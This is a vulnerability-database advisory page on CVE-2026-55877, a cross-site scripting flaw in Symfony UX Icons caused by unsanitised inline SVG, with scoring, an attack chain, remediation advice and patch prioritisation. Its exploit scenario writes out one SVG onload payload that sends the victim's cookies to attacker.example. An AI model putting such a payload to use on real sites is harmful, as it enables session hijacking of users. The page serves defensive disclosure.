Skip to main content

Symfony UX Icons CVE-2026-55877

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-19 https://github.com/symfony/ux GHSA-6v8j-33hc-mv84
6.1
CVSS 3.1 · Vendor: https://github.com/symfony/ux
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker poisons Iconify endpoint or icon file
  2. Delivery
    Malicious SVG body with on* handler or nested script embedded
  3. Exploit
    Application fetches icon with no sanitization
  4. Install
    ux_icon() inlines raw SVG into page HTML
  5. C2
    Victim user loads page in browser
  6. Execute
    Browser executes injected JavaScript in application origin
  7. Impact
    Attacker harvests session tokens or performs authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two distinct attack paths exist with different preconditions. For the Iconify on-demand path (the higher-risk path): the application must have the Iconify on-demand feature enabled (this is the default configuration), and the attacker must be able to influence the content returned by the configured iconify.endpoint - achieved by controlling the endpoint itself, poisoning an intermediate cache, or performing a man-in-the-middle against an unencrypted or unauthenticated endpoint. For the local-file path: the attacker must be able to place or influence an SVG file in the icon directory consumed by Icon::fromFile(), for example by uploading a malicious icon pack through a theme installer, a package manager command, or a file-upload vulnerability elsewhere in the application. In both cases, a victim user must load a page that renders the malicious icon via ux_icon() (UI:R). Authentication to the web application is not required of the attacker. Exploitation is limited to applications running symfony/ux-icons >= 2.17.0 or >= 3.0.0 and not yet patched to 2.36.1 or 3.2.0 respectively.

Impact

The NVD-assigned CVSS 3.1 score of 6.1 with vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N is well-calibrated for the Iconify on-demand path: the attack reaches the vulnerable application over the network, requires no authentication to the application itself, is low-complexity, and achieves a scope change into the victim's browser context. The local-file path carries a higher effective access requirement - an attacker must be able to place or influence an SVG icon file served by the application - which could argue for PR:L or PR:H and AC:H in isolation; however, the default-on Iconify path dominates the aggregate risk. No EPSS data was provided in the intelligence feed, so probabilistic exploitation likelihood cannot be quantified from available signals. The absence of KEV listing and the lack of any noted POC lowers urgency versus a typical PR:N/AC:L web flaw, but the Iconify endpoint poisoning scenario (including a compromised cache) is realistic in shared-hosting or CDN-edge deployments. The S:C flag is appropriate: a successful XSS steals session tokens or performs actions on behalf of the victim in the application's origin.

Exploit ScenarioDerived

An attacker compromises or spoofs the configured Iconify endpoint (or poisons a CDN cache serving icon JSON), injecting an SVG body containing an <svg onload="document.location='https://attacker.example/steal?c='+document.cookie"> payload. When any authenticated user navigates to a page that calls ux_icon() with that icon name, the browser inlines the SVG verbatim and fires the onload handler, exfiltrating the user's session cookie to the attacker's server. No public exploit code is known at time of analysis, but the attack requires only crafting a valid Iconify JSON response body.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

Cross-site scripting in Symfony UX Icons (symfony/ux-icons) allows an attacker who controls SVG icon content - via a malicious third-party icon pack, a downloaded icon set, or a tampered Iconify on-demand endpoint - to inject and execute arbitrary JavaScript in the browsers of users who load any page rendering those icons. Two distinct sanitization failures existed: the local-file path in Icon::fromFile() only stripped top-level <script> children of <svg>, ignoring nested scripts and all on* event-handler attributes, while the Iconify on-demand path (enabled by default) applied zero sanitization to the remote JSON body field before inlining it as HTML. No public exploit code has been identified at time of analysis, and this CVE does not appear in the CISA KEV catalog.

RemediationAI

Upgrade symfony/ux-icons to version 2.36.1 (for the 2.x branch) or 3.2.0 (for the 3.x branch); both versions introduce the new IconFactory class that centralizes sanitization for every icon source before an Icon object is constructed. The sanitizer removes script, foreignObject, iframe, object, and embed elements; strips SMIL animations targeting on*, href, or xlink:href attributes; removes CDATA sections and processing instructions; eliminates all on* event-handler attributes; and blocks javascript:, vbscript:, and data:text/html URL schemes. If an immediate upgrade is not possible, the most effective compensating control is to disable the Iconify on-demand feature entirely by removing or nullifying the iconify.endpoint configuration, since that code path applied no sanitization at all. Additionally, audit all third-party SVG icon packs and downloaded icon sets for script-capable constructs before deployment. Note that disabling the Iconify on-demand path removes the ability to fetch icons dynamically at runtime. Advisory details are available at https://github.com/symfony/ux/security/advisories/GHSA-6v8j-33hc-mv84.

Affected Packages

composer symfony/ux-icons fix: 2.36.1, 3.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Symfony UX Icons (composer package symfony/ux-icons) provides a ux_icon() Twig helper that renders SVG icons inline into HTML pages. Because the function is declared is_safe=['html'], Twig's auto-escaping is intentionally suppressed, delegating all sanitization responsibility to the component itself. Icon::toHtml() writes raw SVG markup verbatim into the document. Browsers execute <script> elements and on* event-handler attributes inside inline SVG, making any unescaped attacker-supplied SVG a CWE-79 (Improper Neutralization of Input During Web Page Generation) vector. The CPE affected packages are pkg:composer/symfony_ux-icons in the 2.17.0-2.36.0 and 3.0.0-3.1.x ranges. The Iconify on-demand code path, which fetches icon data from a configurable remote endpoint (iconify.endpoint) and is active by default, represented the most permissive attack surface because no filtering whatsoever was applied to the fetched JSON body before object construction.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/symfony/ux) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Iconify path is network-reachable with no auth required; victim must load the page (UI:R); SVG inline execution crosses to browser origin (S:C); no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/symfony/ux).

CVSS VectorVendor: https://github.com/symfony/ux

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Description

The ux_icon() Twig function is marked is_safe=['html'], so Twig never escapes its output. Icon::toHtml() inlines the SVG source verbatim into the page. Browsers execute <script> elements and on* event-handler attributes found inside inline SVG, making any unsanitized icon a vector for cross-site scripting.

Two code paths were affected. In the local file path, Icon::fromFile() only stripped <script> elements that were direct children of <svg>, leaving nested scripts and all on* attributes untouched despite a code comment claiming broader protection. In the Iconify on-demand path (enabled by default), the remote JSON body field was wrapped into an Icon object with no sanitization at all. Concrete attack vectors include a malicious SVG icon pack from a third-party theme or downloaded icon set, or a controlled Iconify endpoint configured via iconify.endpoint (including a poisoned cache).

Resolution

Introducing an IconFactory that centralizes sanitization across every icon source before an Icon object is created. The sanitizer removes script-capable elements (script, foreignObject, iframe, object, embed), SMIL animations targeting on*, href, or xlink:href attributes, CDATA sections, processing instructions, all on* attributes, and javascript:, vbscript:, and data:text/html URL schemes. <style> elements are kept for theming but have any handlers stripped. Icons that contain none of these constructs are byte-for-byte identical after sanitization.

Credits

Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:composer/symfony_ux-icons
pkg:composer/symfony_ux-icons

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy